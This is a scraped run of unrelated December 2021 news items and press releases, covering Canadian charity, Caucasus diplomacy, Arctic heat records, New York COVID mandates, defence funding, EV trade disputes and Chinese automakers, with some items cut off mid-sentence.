11:08 PM New Delhi, Jan 5 (UNI) Continuing its drive against tax evasion, the Income Tax (I-T) department carried out search and seizure operations on two groups engaged in the business of perfume manufacturing and real estate covering premises across various states but largely in Uttar Pradesh and Maharashtra. see more.. Vale and Wheaton Precious Metals joined together this week to donate $100,000 to the Edgar Burton Christmas Food Drive in support of the Sudbury Food Bank. This is the largest donation the Edgar Burton Christmas Food Drive has received since it became a community tradition more than 30 years ago. Vales employees are so proud to continue the community tradition of helping those in need along with our business partner, Wheaton Precious Metals, said Claire Parkinson, Head of Processing Plants for Vales Ontario Operations. Together with our community we have an opportunity to make a significant difference in the lives of so many this holiday season. The donation is in addition to the thousands of dollars donated by the community and more than 100 tons of food donated to the Edgar Burton Christmas Food drive by generous businesses, school children and individuals across the City of Greater Sudbury this holiday season. Financial donations can still be made at: www.sudburyfoodbank.ca/edgarburton. Wheatons staff have volunteered with their local food banks in the past and have seen firsthand the positive impact that these organizations make in our communities, said Randy Smallwood, Wheatons President and Chief Executive Officer. We are proud to join our partner Vale in supporting the Sudbury Food Bank with this important initiative to help the less fortunate this holiday season. The Sudbury Food Bank provides food to approximately 11,000 people every month through over 40 member agencies and outreach programs. Of those clients, over half are children. Through the pandemic the Sudbury Food Bank has also seen an increase in first-time users over the age of 65. We are so thankful for this generous donation from Vale and Wheaton Precious Metals to the Edgar Burton Christmas Food Drive, said Mellaney Dahl, President of the Sudbury Food Bank. It comes at a really important time during the pandemic and the growing number of clients that require the support of the Sudbury Food Bank. Edgar Burton, a Vale Divisional Shops employee for 36 years, started the annual food drive 34 years ago in his workplace when Edgars daughters asked him if they could start collecting food for the less fortunate. Today, Vale donates the time of one full-time and one part-time United Steel Worker (USW) Local 6500 employee for approximately two months to organize the Edgar Burton Christmas Food Drive. USW Local 6500 is proud to uphold Edgar Burtons vision of one more can than last year said Nick Larochelle, President of USW Local 6500. We would like to thank our members, Owen Marcotte and Jeff LaLonde from Vales Divisional Shops, and all the volunteers for their work on this years campaign. A big thank you also goes out to all the people that have taken the time to make a donation once again this year. Before his passing in 2010, Edgar launched the Kids Helping Kids campaign, which engages school children in the food drive and teaches them about the importance of giving back to their community. And despite the pandemic, students have continued to give generously to the Kids Helping Kids campaign this year. Collection of all of the donations during the Edgar Burton Christmas Food Drive is no easy feat. In fact, the campaign organizers call in the 2nd Battalion Irish Regiment of Canada to get the job done. As one of the largest food drives in Canada, the Edgar Burton Christmas Food Drive is a source of community pride. With a dedicated group of volunteers and thousands of donations from residents all across the City, we are helping thousands of families and individuals in need. Gloria Green-McCray, the younger sister of James Earl Green, who along with Phillip Lafayette Gibbs were killed by Mississippi Highway patrolmen in 1970 on the campus of Jackson State, reacts to viewing a section of one of two hand-crafted quilts adorned with more than 115 cross-stitched portraits honoring African Americans who lost their lives to racial violence Nov. 30 on the universitys campus in Jackson, Miss. remaining of Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. The WCO Policy Commission held its 85th Session in a hybrid format, from 13 to 15 December 2021, under the chairmanship of Mr. A. Al Khalifa, President of Customs Affairs in Bahrain and Chairperson of the WCO Council. Heads of Delegation took part in the hybrid meeting, with participants joining remotely from all regions as well as at the WCO Headquarters in Brussels, Belgium. During the three-day meeting, the Policy Commission discussed various topics, including the Business Case for the Exploratory Study on a Possible Strategic Review of the Harmonized System, the implementation of the WCO COVID-19 Action Plan, the Organizations main priorities, the new WCO Strategic Plan 2022-2025 and its potential areas of focus and the WCO Business Continuity Plan, among others. The delegates supported the renewed focus on digital customs and the work of the Secretariat to develop a data strategy. They expressed their interest in further exploring the role of Customs in climate change mitigation and also reaffirmed their commitment for organizational improvement and increased engagement. During the meeting, the WCO Secretary General presented a forward-looking account of the activities of the Organization and the future development of a comprehensive data strategy, in line with the identified focus areas. He also announced the theme for 2022: Scaling up Customs Digital Transformation by Embracing a Data Culture and Building a Customs Data Ecosystem. Additionally, delegates received progress reports on several ongoing programmes and initiatives within the different core areas of work of the WCO, including updates on the Organizations ongoing work on performance measurement, gender equality and diversity, and the activities of the Private Sector Consultative Group. The successful outcomes of the meeting will serve to further shape the intersessional work, in preparation for the June Policy Commission and Council sessions. Members expressed their gratitude to the Chairperson for his leadership, and the WCO Secretary General, Dr. Kunio Mikuriya, as well as the officers of the Secretariat, for the excellent organization of the meeting despite the ongoing global pandemic. MINDEN, La. Police in Minden have arrested a woman in the stabbing death of Tqarontarion Dcortez TQ Harrison, the 32-year-old brother of Kansas City Chiefs cornerback LJarius Sneed. Angela Washington, 47, has been charged with second- degree homicide, according to Police Chief Steve Cropper. TQ Harrison died from a single stab wound to his back, that punctured his lung, Cropper said. The weapon used in the stabbing a large kitchen knife was recovered, he said. The stabbing occurred at Washington's home in the 500 block of Moore Street Friday night. Cropper said Harrison attempted to drive himself to Minden Medical Center after being stabbed, however he crashed his vehicle on the backside of the hospital. Harrison was transferred to Ochsner LSU Health in Shreveport, 30 miles away, where he died of his injury following an emergency surgery, police said. Authorities did not release a motive in the stabbing. Sneed told The Kansas City Star in a story published last month that he credits Harrison for raising him while his parents were in prison. At 9 years old, Harrison changed diapers, ironed clothes and walked his brothers to school. Harrison referred to 24-year-old Sneed as my little dude when talking with the newspaper and described their relationship as closer than most brothers because of what we went through in life. The Chiefs added Sneed to their injury report Saturday and said in a tweet that he was questionable for Sundays game against the Las Vegas Raiders, citing non-injury related reasons (personal). A community prayer event will be held at 3 p.m. Sunday on District Drive in Minden. An outpouring of condolences for Harrisons mother, Jane Mims Sneed, and the family flooded Facebook on Saturday. Regarding the COVID-19 pandemic, they reaffirmed the call for action to ensure universal access to vaccines, thus turning them into global public goods necessary for social and economic recovery around the world. Likewise, they agreed on the need to promote capacities for autonomous production of drugs and vaccines by countries such as Peru. Ambassador Maurtua expressed satisfaction with the auspicious meeting held in Rome with senior executives of ten of the main Italian companies with projects in Peru. On that occasion, the top executives confirmed that Peru is a safe destination for Italian investments, due to its favorable legislation, fiscal solvency, important international reserves, as well as efficient economic and regulatory management and legal stability. For her part, Sereni welcomed the efforts made by Peru to move steadily towards the adoption of good practices and high standards of OECD membership. During the meeting, the diplomat thanked Italy for its valuable cooperation in technical assistance and training aimed at the Peruvian Army in humanitarian demining activities taking place on the Peru-Ecuador border. Titular de Torre Tagle destaco la importancia del apoyo italiano a la aspiracion peruana para ingresar a la OCDE, y recalco que esta meta peruana constituye una politica de Estado, tal y como fuera ratificado recientemente por el presidente de la Republica, Pedro Castillo. pic.twitter.com/gIlu7tmdEj Suiza renueva su compromiso con el desarrollo economico sostenible del Peru. ???? Continuamos siendo un socio de desarrollo confiable. Gracias a @CancilleriaPeru @MEF_Peru @MINCETUR @MinamPeru por su participacion en el lanzamiento del #ProgramaPais de la Cooperacion ???? @SECO_Peru. pic.twitter.com/oxbcCm9g6D The Government of Russia has allocated about 890 million rubles to build a LNG carrier for the Arctic LNG 2 project and to support the preferential-rate leasing of civilian ships, the Government press service reported. Over 890 million rubles will be paid from the reserve fund to complete the second stage of the work to build a LNG carrier for the Arctic LNG 2 project. The relevant directive was signed by Prime Minister Mikhail Mishustin, the report said. It specifies that the subsidy is part of the Development of Shipbuilding and Equipment for Exploring Sea Shelf Deposits State Program. The Government considered the issues related to the allocation of funding at its December 8 meeting. The new icebreaker-class LNG carrier will be able to transport 172,600 cubic meters of liquefied natural gas (LNG) along the Northern Sea Route. Designed for year-round navigation, it is being built by the Zvezda shipyard. The plans are to commission the vessel in 2023. YEREVAN, DECEMBER 15, ARMENPRESS. The Armenian Prime Minister Nikol Pashinyan and Azerbaijani President Ilham Aliyev had a brief tete-a-tete meeting in Brussels, according to the President of the European Council Charles Michel. Pashinyan and Aliyev held a trilateral meeting hosted by Michel in Brussels. After the meeting, Michel told reporters that he left the two leaders alone briefly in order for them to engage in direct contact. This is true, Michel told a reporter when asked to comment. Because I thought it is important for me to help, to support, to encourage. It was also very important for them, this occasion to speak directly. Michel attached importance to creating direct contacts between the Armenian and Azerbaijani leaders, and expressed conviction that the direct contacts are very useful. YEREVAN, DECEMBER 15, ARMENPRESS. FLYONE Armenia says its first flight from Yerevan to Moscow was cancelled due to circumstances beyond their control, including due to the Russian authorized bodies concerns relating to countering the coronavirus epidemic. The airline was thus forced to cancel the Yerevan-Moscow-Yerevan flights scheduled for December 15 and 16. The airline has already ensured the swift and safe transfer opportunity for all passengers of the abovementioned flights to their points of destination, FLYONE Armenia said in a statement. Our employees maintain permanent and individual contact with all passengers of the abovementioned flights for duly rendering the full package of air transportation and other services, it added, emphasizing that FLYONE Armenias passenger support service is available to all passengers and is ready to swiftly resolve any issues. We are informing that our flights to other destinations will proceed as scheduled. FLYONE Armenia apologizes to our passengers for the inconvenience and informs that we are making all efforts to overcome the existing issues as soon as possible. YEREVAN, DECEMBER 15, ARMENPRESS. Prime Minister of Armenia Nikol Pashinyan met with President of Moldova Maia Sandu in Brussels on the sidelines of the Eastern Partnership summit. In a Twitter post, the Moldovan President called the meeting with Pashinyan productive. We discussed opportunities to launch a joint business forum and explore mutual investment opportunities in Moldova and Armenia. We also agreed to take joint actions to increase trade volumes between our countries, she said. The trilateral meeting of Armenian Prime Minister Nikol Pashinyan, President of the European Council Charles Michel and Azerbaijani President Ilham Aliyev was held in Brussels on December 14, the Armenian PMs Office reports. December 15, 2021, 10:23 Pashinyan, Aliyev discuss possible steps aimed at establishing mutual trust STEPANAKERT, DECEMBER 15, ARTSAKHPRESS-ARMENPRESS: The implementation process of the 2020 November 9 and 2021 January 11 and November 26 statements were discussed at the meeting. PM Pashinyan highlighted the full implementation of these statements, particularly emphasizing the necessity of the immediate solution of humanitarian problems, ensuring the return of prisoners of war, hostages and other civilians held. The works on opening the regional communications were also discussed. The Armenian PM and the Azerbaijani President reaffirmed the agreement on the re-launch of railway. Accordingly, the railway will operate in accordance with the internationally accepted border and customs rules on reciprocal principle, under the sovereignty and authority of the countries. Armenia will get an access to Iran and Russia through a railway. Taking concrete steps to reduce the tension in the region was also emphasized. The possible steps aimed at conducting demarcation and delimitation between Armenia and Azerbaijan, as well as establishing mutual trust were touched upon. The sides agreed to continue the contacts. Azerbaijan's "corridor for corridor" approach is fraught with serious challenges for Russia and Europe, and it is unacceptable for the Artsakh Republic. December 15, 2021, 11:07 Artsakh FM: Azerbaijan's corridor for corridor approach is fraught with serious challenges for Russia, Europe STEPANAKERT, DECEMBER 15, ARTSAKHPRESS: Artsakh Foreign Minister David Babayan stated this in an interview with Armenian NEWS.am, and commenting on the statements by President Ilham Aliyev of Azerbaijan. Babayan added as follows: Azerbaijan's position is predictable. We expected such an approach, as nothing else can be expected. With such actions, Azerbaijan is trying to completely suffocate Artsakh. But the issue is not only in Artsakh; there is a more global gamenaturally, with the participation of Turkey. What does unimpeded communication between Turkey and Azerbaijan through the territory of internationally recognized Armenia mean? It is a loss of sovereignty over certain lines of territories. There will be one "corridor" today, the othertomorrow. After all, they don't even say Meghri; they say Zangezur. There may be several "corridors" in Zangezur. At least two references to the "corridor" have already appeared: the railway via Meghri [city], and the motorway via Sisian [city]. So, what is Azerbaijan trying to do? First, to completely divide Armenia. It turns out that Armenia is losing control over about a third of its territory, over Syunik [Province], and not only. This means that Armenia is "breaking away" from Iran. Syunik is completely surroundedin a full enclave position by Azerbaijan and Turkeyas it will not actually have a border with Armenia because if the Azerbaijanis and Turks "cross freely," troops will be sent there tomorrow to ensure "free passage"first of all, of cargo and goods, tomorrowof military equipment, army, etc. It will completely change the situation in the region. Naturally, connecting [Azerbaijans exclave] Nakhichevan with [the] Karvachar [region] would mean full inclusion of the Eastern Transcaucasia, as Azerbaijan is already part of de facto Turkey and a territory highly dependent on Turkey, and in the current sense, Armenia will not be as such because Syunik also will be completely absorbed. I am not even talking about Artsakh. All this will lead to profound transformationsterrible, unpredictable processes will begin in the North Caucasus, the Volga region, and Central Asia. That is, this is in fact [Turkish President] Erdogan's "roadmap" which he voiced together with the representative of the [Turkish ultranationalist] "Gray Wolves" organization. The specifying of any Azerbaijani control over the Lachin corridor would mean suffocating Karabakh. The result will be genocide and deportation of the [Armenian] population. Two ways out will remain: either there will be a war again or there will be no Armenians left in Artsakh. The loss of Artsakh will automatically mean the loss of Zangezur, Sevan and, in general, the destruction of the Armenian statehood. These are the processes that Azerbaijan and Turkey are trying to implement in the context of the concept of unblocking communications. It naturally cannot be accepted in such a context. We hope that such actions will receive an equivalent assessment from the international community. These actions are directed also against the integrity of other countriesRussia and the [Russian] peacekeeping mission [in Artsakh], the Russian state. In time, this threat will turn against Europe. Turkey is now in the role of Germany in the 1930s when Hitler came to power. Even then, many forces were flirting with Hitler. But everyone suffered. It will be the same in this caseeven worse. Therefore, we must calmly approach what is happening, not panic, prevent the provocations of Azerbaijan. I do not believe that such adventurisms of Azerbaijan can be acceptable for the leading world and regional powers. We declare from the beginning what such an approach is fraught with, and it is unacceptable for us. The Arctic experienced its hottest ever temperature amid a heatwave which resulted in devastating bushfires and heavy sea ice loss across Siberia last year. Likening the 38-degree record to befitting the Mediterranean, the World Meteorological Organization (WMO) warned the region is warming at a rate twice the global average. The temperature occurred on June 20, 2020 at the Russian town of Verkhoyansk during a year which was one of the three warmest on record. Parts of the Arctic Circle were observed with a land surface temperature of 45 degrees on June 19, 2020. Source: Copernicus / Sentinel 3 Sentinel 3 satellite data indicates the Arctic Circle experienced a land temperature of 45 degrees the previous day. Meteorologist Scott Duncan took to Twitter as he recalled the "ferocious multi-day heatwave". "We are in a relentless Arctic heatwave Siberia is literally on fire right now and it's set to continue," he wrote on June 20. Verkhoyansk, where the record occurred, is located in the Republic of Sakha and is known for its very cold winters and hot summers, but last year temperatures were 10 degrees above average over the summer. A station at the town has been observing weather conditions since 1885. Temperature records smashed across the globe Increasing instances of weather extremes reflect the impact of climate change, the WMO has confirmed. The Geneva-based United Nations agency noted the weather extreme occurred during the same year the Antarctic continent experienced a record 18.3 degrees. The town of Verkhoyansk lies at the foot of the frozen Verkhoyansk Mountains. Source: Getty / File Image This year, Europe recorded its hottest ever temperature when a town in Sicily hit 48.8 degrees. The world's hottest place, California's Death Valley may have also experienced its hottest ever days, with the WMO investigating claims the mercury may have soared to 54.4 on seperate occasions in 2020 and 2021. WMO Secretary-General Professor Petteri Taalas said their Archive of Weather and Climate Extremes had never handled so many ongoing simultaneous investigations. Climate-change effects likely to cascade Climate Council spokesperson and Emeritus Professor at Australian National University, Will Steffen, told Yahoo News there will be a tipping point beyond which Arctic sea ice will no longer be seen during summer. Story continues Projections suggest this could occur as early as 2040, and this will further accelerate heating in the far north. Warming ocean temperatures are melting the Antarctic's ice sheets. Source: Getty The danger of the heating up in Siberia is that's where there's quite a bit of permafrost, he said. As the temperatures rise up there during summertime, that is increasing the melt of permafrost, and that releases greenhouse gases both carbon dioxide and methane. Of course, that warms the planet further, so its another one of these cascading effects that were predicting. Seperate forces melting Arctic and Antarctic Even if emissions are reduced, global temperatures will continue to rise for at least two to three decades due to momentum already in the system. Arctic sea ice and permafrost will melt due to warmer air temperatures, while Antarctic ice sheets will destabilise due to warming waters. What's happening in west Antarctica is a lot of those ice sheets are actually grounded under sea level on bedrock, Professor Steffen said. So, they're being eroded from underneath rather than from surface air temperature. That destabilises them just like taking a cork out of a bottle. Then surface glacier starts flowing if you loosen the ground under the surface. Do you have a story tip? Email: newsroomau@yahoonews.com. You can also follow us on Facebook, Instagram, TikTok and Twitter and download the Yahoo News app from the App Store or Google Play. SAN JOSE, Calif. & NEW YORK--(BUSINESS WIRE)--Dec 13, 2021-- The Bloom Electrolyzer was named Emerging Technology of the Year at the 23 rd annual S&P Global Platts Global Energy Awards, often described as the Oscars of the energy industry. Bloom Energys CMO Sharelynn Moore and CFO Greg Cameron accepted the honor at an awards ceremony held at Cipriani Wall Street in downtown Manhattan on Thursday, December 9. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20211213005318/en/ (Graphic: Business Wire) Bloom's electrolyzer was recognized for its inventive and efficient method of producing hydrogen. Judges noted the technology is "on the radar for many people in the energy industry" and that it is an "exciting innovation" that will "be compatible with other sources" in the move to clean energy. The emerging technology of the year category received the most submissions of any of the award categories. Saugata Saha, President of S&P Global Platts, said: S&P Global Platts is committed to advancing data and analytical technology solutions to help digitalize the energy industry as it transitions to a more sustainable energy future. It was inspirational to celebrate the meaningful achievements of this years Global Energy Awards winners and finalists, which ranged from technology innovation, to efficiency gains, to green-hydrogen development, to embracement of carbon-free targets, to empowerment of women in energy, and so much more. The Bloom Electrolyzer is the most energy-efficient electrolyzer to produce clean hydrogen to date. It relies on the same, commercially proven solid oxide technology platform used by Bloom Energy Servers to provide on-site electricity at high fuel efficiency. Highly flexible, it offers unique advantages for deployment across a broad variety of hydrogen applications, using multiple energy sources including intermittent renewable energy and excess heat. Jenny Salinas, Vice President of Marketing for S&P Global Platts, said: S&P Global Platts is proud to host the Global Energy Awards for over two decades and to continue to spotlight creativity, community investment, and technological advancements for a cleaner world. As part of our ongoing commitment to sustainability and to offset the carbon footprint of tonights event, Platts is investing in a methane capture project in Bulgaria and a solar-powered clean water project in Senegal. To learn more about Bloom Energys commitment to a zero-carbon future, visit: About S&P Global Platts At S&P Global Platts, we provide the insights; you make better informed trading and business decisions with confidence. Were the leading independent provider of information and benchmark prices for the commodities and energy markets. Customers in over 150 countries look to our expertise in news, pricing and analytics to deliver greater transparency and efficiency to markets. S&P Global Platts coverage includes oil and gas, power, petrochemicals, metals, agriculture and shipping. S&P Global Platts is a division of S&P Global (NYSE: SPGI), which provides essential intelligence for companies, governments and individuals to make decisions with confidence. About Bloom Energy Bloom Energys mission is to make clean, reliable energy affordable for everyone in the world. The companys product, the Bloom Energy Server, delivers highly reliable and resilient, always-on electric power that is clean, cost-effective, and ideal for microgrid applications. Blooms customers include many Fortune 100 companies and leaders in manufacturing, data centers, healthcare, retail, higher education, utilities, and other industries. For more information, visit www.bloomenergy.com. View source version on businesswire.com:https://www.businesswire.com/news/home/20211213005318/en/ CONTACT: Jennifer Duffourg +1 408.543.1566 KEYWORD: CALIFORNIA NEW YORK UNITED STATES NORTH AMERICA INDUSTRY KEYWORD: ALTERNATIVE ENERGY ENERGY UTILITIES ENVIRONMENT SOURCE: Bloom Energy Copyright Business Wire 2021. PUB: 12/13/2021 08:04 AM/DISC: 12/13/2021 08:04 AM Copyright Business Wire 2021. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Cayuga County will enforce a new statewide mandate requiring proof of COVID-19 vaccination or masks to be worn at businesses and other indoor venues. Gov. Kathy Hochul announced the mandate on Friday and it took effect on Monday. A dozen counties in New York have said they won't enforce the mandate. Others, such as Onondaga, want to educate businesses first before any enforcement efforts begin. Aileen McNabb-Coleman, chairwoman of the Cayuga County Legislature, addressed the mandate at a news conference on Tuesday. She explained that the Cayuga County Health Department will respond to complaints with education and outreach to help local businesses. Cayuga County Public Health Director Kathleen Cuddy said after the education phase, the department will follow its standard procedure. If there are violations of the mask-or-vaccine order, then the matter would be referred to the board of health. Businesses could be fined for violating the directive. In Cayuga County, first-time offenses could result in a $50 fine. Repeat offenses may lead to larger penalties. McNabb-Coleman urged residents to not blame businesses for abiding by the mandate. "Our local businesses have been through enough and it's not their fault that this mandate has been activated," she said. "Please be patient with all establishments as they choose to operate their businesses under this mandate in a manner that works for them." Hochul opted for the mandate in response to the increasing number of COVID-19 hospitalizations since Thanksgiving. Statewide, there are 3,772 residents hospitalized with COVID-19. With COVID-19 cases rising locally, there is concern that a surge could overwhelm hospitals. While Auburn Community Hospital is in a good position, hospitals in Syracuse and other parts of central New York had an influx of patients. Earlier this month, some hospitals reported that 100% of their beds were filled. There are diversion protocols that, if activated, could mean patients are sent to hospitals in different parts of the state. "If our county or region were to continue to increase the number of COVID cases, these constraints would become even more critical," McNabb-Coleman said. "This is what the mandate is trying to help our region avoid." In other news: Cuddy said that Cayuga County has 846 new COVID-19 cases since Thanksgiving, 70% of which are unvaccinated. There are 222 positive cases among children under age 18. The county reported 80 new cases on Monday and 413 active cases, an increase of 101 in one day. Hospitalizations increased to 15, with nine patients ages 60 or older. "Holiday time traditionally has shown an increase in all sorts of communicable diseases, but particularly compared to last year and this year, with COVID-19," Cuddy said. Online producer Robert Harding can be reached at (315) 282-2220 or robert.harding@lee.net. Follow him on Twitter @robertharding. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. U.S. Rep. John Katko highlighted his legislative victories and other key provisions in the $768 billion defense policy bill that the House approved last week. The National Defense Authorization Act contains four bills authored by Katko, R-Camillus, including legislation requiring the Department of Homeland Security to analyze security risks if there are supply chain disruptions. That language would also require the homeland security secretary to issue an annual report on the risk analysis and whether there are any vulnerabilities in supply chains. Katko's legislation that would provide relief to individuals who had their trusted traveler status erroneously revoked was also included in the NDAA, along with two cybersecurity-related measures to detect cybersecurity threats to infrastructure. In addition to his legislation, Katko noted that the NDAA includes a 2.7% pay increase for servicemembers. It also expands childcare and parental leave programs for those serving in the military. There is also significant funding for projects spearheaded by defense contractors in central New York. The defense bill provides $370 million for the Surface Electronic Warfare Improvement Program, $191 million for the Navy E-2D Hawkeye, $127 million for the Army Sentinel Radar, $39 million for the Army's Terrestrial Layer Systems and $26 million for the Army's Q-53 Radar. Lockheed Martin in Salina will supply components for each of those projects. Another central New York-based contractor, L3Harris, will provide parts for three other projects: Handheld manpack small form factor radios ($730 million), Marine Corps radio systems ($444 million) and U.S. Special Operations Command tactical communications ($62 million). "I proudly cast my vote in favor of the (NDAA), an annual bill that delivers funding for the Department of Defense," said Katko, ranking Republican member on the House Homeland Security Committee. "Importantly for central New York, this year's measure includes key federal funding to support manufacturers and workers in central New York. As our nation continues to face supply chain challenges, this measure also includes a bill I drafted to identify and address areas of concern within our nation's supply chain." The House passed the NDAA with bipartisan support on Thursday. It's expected to clear the Senate this week. Online producer Robert Harding can be reached at (315) 282-2220 or robert.harding@lee.net. Follow him on Twitter @robertharding. Love 3 Funny 2 Wow 0 Sad 0 Angry 0 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. AURORA The tented pavement floor of the MacKenzie-Childs Barn Sale was mostly empty when Jerry Ryan walked through it Tuesday. But one of th The Joe Biden administration has been pushing for electric vehicles to be manufactured in the United States and the Build Back Better Act worth $1.75 trillion has a provision according to which there would be tax credit on EVs made in the country by union workers. Canada and Mexico, however, have made their respective angst known loud and clear at what is being termed by many in these two countries as a discriminatory move. A buyer in the US can look forward to tax credit of up to $7,500 if purchasing an EV. But if the same EV has been union-made within US borders, there is also an additional tax credit worth $4,500. While the idea is to both popularize EVs among US buyers as well as ensure that the EV movement generates more and more jobs for Americans, Canada and Mexico aren't too pleased and cite trade agreements with the US. Canada's Deputy Prime Minister Chrystia Freeland, in a letter to US senators, stated that Ottawa is 'deeply concerned' by the EV tax credit that has been proposed in the Build Back Better Act. The letter said that this move violets the United States-Mexico-Canada Agreement and is being seen as a major threat to the Canadian automotive industry. (Read more here) While Canada has cleared that it will take retaliatory action if the proposal is passed, Mexico too is digging in heels for a confrontation. "This bill is not consistent with the US obligations under the TMC and the rules of World Trade Organization. We would apply trade reprisals," said Tatiana Clouthier, Mexico's Secretary of the Economy. Several American and European car makers have factories in Mexico and there is mounting concern that EVs manufactured here would lose ground against EVs manufactured by unions within the US. (Read more here) And it isn't as if non-union auto brands are happy either. The likes of Toyota and Tesla have already made their views clear about the proposals in the bill. Beijing (Gasgoo)- Li Xiang, the founder and CEO of Li Auto, will no longer serve as independent director of Chinas leading navigation company NavInfo, replaced by Wang Xiaochuan, the founder of named search engine Sogou, according to corporate database, Qichacha. Photo credit: NavInfo On August 26th, NavInfo issued an announcement regarding Li Xiangs letter of resignation. The announcement specified that Li Xiang asked to be removed from the independent director position and the fifth board of directors nomination committee due to personal reasons, responsible for nominating members, compensations, and assessing committee members. After his resignation, Li would no longer be a part of the company. Upon the announcement, Li Xiang did not hold any share of the company. After Li Xiangs exit, the remaining number of independent directors on NavInfos board did not meet the required one-third proportion of board members. Therefore, Li Xiang will continue to perform the independent directors liabilities under the company protocol while the board searches for his succession. On December 15th, NavInfo has completed its registration changes, with Li Xiang officially removed from the independent director position and Wang Xiaochuan stepped in. In the meantime, the companys registered capital was increased from RMB2.269 billion to RMB2.375 billion. Shanghai (Gasgoo)- On Dec. 14, CATL entered into a strategic cooperation agreement with Eaton Power Quality (Shanghai) Co.,Ltd. (called Eaton Shanghai for short), a Shanghai-based branch of the global leading power management solution provider Eaton Corporation, according to a post on CATL's WeChat account. CATL, Eaton Shanghai signing agreement; photo credit: CATL Under the agreement, both parties will co-work on businesses including product R&D, marketing, as well as the development of business models and service response mechanism. To be specific, CATL will leverage its lithium battery technical strength to help Eaton Shanghai improve its enterprise-ready UPS (uninterruptible power supply) solution, while the latter will provide its highly efficiency and energy saving products and solutions for CATL's intelligent manufacturing projects. Additionally, the two companies will make joint efforts to develop energy-saving solutions available for diverse application scenarios and integrated digital energy storage solutions, as they wish to make contribution to global energy transition and sustainable development. Eaton Corporation is an American Irish-domiciled multinational power management company that provides solutions to help its customers manage electrical and mechanical power. Its business segments include electrical products, electrical systems and services, aerospace, vehicle and e-Mobility. Shanghai (Gasgoo)- NIUTRON, a newborn auto brand founded by Li Yinan, who established electric two-wheeler company NIU Technologies, was launched on Dec. 15, indicating a new startup player joining Chinese premium smart NEV market. NIUTRON logo; photo credit: NIUTRON NIUTRON is the combination of Neutro and Niu. Its Chinese name Ziyoujia was announced at the same time, delivering a brand value of exploration, gumption, pleasure, as well as free and flexible driving. According to the automaker, the car-building project for NIUTRON was initiated in Nov. 2018. Headquartered in Beijing, NIUTRON has a R&D center in Shanghai and an auto manufacturing base in Jintan District, Changzhou city. Its operating entity, Jiangsu Niutron New Energy Technology Co.,Ltd. was incorporated in Dec. 2020 in Changzhou's Wujin National Hi-tech Industrial Development Zone with an initial registered capital of $50 million. Its location moved to Jintan District in Aug. 2021 and registered capital rose to $400 million in Sept. this year. NIUTRON Jintan factory; photo credit: NIUTRON NIUTRON's Jintan manufacturing base, where the carmaker DORCEN had produced its cars, covers 770,000 square meters and features a designed annual capacity of 180,000 cars. The factory is still experiencing retooling of production lines and is set to start operation in March 2022. The first NIUTRON-branded model will be a REEV (range-extended electric vehicle) full-sized SUV model dubbed NV, which is expected for preorder in the first half of 2022 and for delivery from Sept. next year. The NIUTRON NV is built on the Gemini platform, which is designed to support the development of both BEV and REEV models using steel-aluminium hybrid car body. As for marketing models, NIUTRON will develop its self-owned sales channels by building own-brand direct-sale shops. While the brand was launched , the NEV startup announced it has nabbed $500 million in Series A financing, which attracts investors like IDG Capital and COATUE. LOS ANGELESPineapple Support will host the third annual Pineapple Summit online Dec.16-17, focusing on the theme Security in an Uncertain World and covering topics including resilience, support, security and planning for the future. The event, which begins at 10 a.m. on both days via Zoom, will feature live webinars and panels from therapists and industry experts and is free for anyone that wants to attend. To register and access the Zoom link, visit PineappleSummit.org or click here. The 2021 Summit, supported by partners Flirt4Free, Pornhub, Chaturbate, LoyalFans, BabeStation, myonly.chat and Xlovecam, will coincide with the International Day to End Violence Against Sex Workers on Dec. 17. The schedule is as follows (all times PT): Dec. 16 10 a.m. - Legal Update (Corey D. Silverstein & Lawrence G. Walters) 11 a.m. - Self-Esteem Rocks! (Dr. Tracy Moore) 12 p.m. - Discrimination (Lotus Lain, Amberly Rothfield & Ana Foxxx) 1 p.m. - The New You (Dr. Tracy Moore) 2 p.m. - Industry Insiders (Andra Chirnogeanu & panellists Corey Silverstein, Austin Fiascone, Alex Lecomte, Nikki Night, Michelle L. LeBlanc, Vanessa Eve) Dec. 17 10 a.m. - Money, Money, Money (Steven Mollura & panellists MelRose Michaels, Jonathan Corona, Chris Viser, Michelle Marriot) 11 a.m. - Creating & Maintaining Boundaries for Adult Entertainers (Stephanie Sigler) 12 p.m. - It REALLY is Okay to Not be Okay (Rachael Wells) 1 p.m. - Support Systems (Nicki Line) 2 p.m. - Advice From the Inside (Alex Lecomte & panellists Isla Cox, Callum & Cole, Ela Darling, Brandon Areana) After the turbulence of the last 18 months, this year the Pineapple Support Annual Mental Health Summit [will] focus on security, said Leya Tanit, founder and CEO of Pineapple Support. Id like to thank our generous partners for helping to make this event possible. Well have some of the top therapists and industry experts from around the globe discussing different aspects of mental and physical health, therapy and coping skills. Tanit added, Registration is open now for anyone that wants to learn about others experiences, coping skills, and tips and tricks to stay secure both mentally and financially during a time when disruption has become the new normal. This might be the most important summit you attend! To become an official sponsor of the Pineapple Summit, email [email protected] or visit PineappleSummit.org/Sponsorship. The dancers bounce and glide to the familiar holiday music. Smiles play out on their faces as they rehearse for their performance in a space that is no longer home. The director of the performance, Gina Darlington, also looks on with a smile, but the smile has a tinge of sadness. Yet, the show must go on, because audiences, now more than ever, need an enjoyable experience with a holiday message that dreams can come true. On Friday and Saturday, for three performances, Canyon Movement Company will perform Highlights of The Nutcracker Suite in Modern Bare Feet. The performances will feature exerpts of the Flagstaff classic, now in its 16th year. Audiences will see all the favorite dances of the companys adult and teen dancers and guest artists. We have a whole crew with new dancers and a lot of enthusiasm, said Darlington, who is executive director of Canyon Movement Company and Canyon Dance Academy. (Audiences) will have an enjoyable experience where they can be immersed in the essence of the holiday and the Nutcracker. The performance makes a modern-dance interpretation of the holiday ballet by Pyotr Tchaikovsky. In the story, a girl, Clara, is coming of age, and she dreams of magical places and possibilities of for the future when a gift she is given a nutcracker soldier comes to life and defeats evil. The Flagstaff performance offers a version interpreted through modern dance and the inclusion of different ethnicities, Darlington said, adding there will be Ukranian folk dance, Spanish dance and more. A narrator will help the dancers tell Claras story to the audience, and ages of the dancers range from 7 to 60, Darlington said. The COVID-19 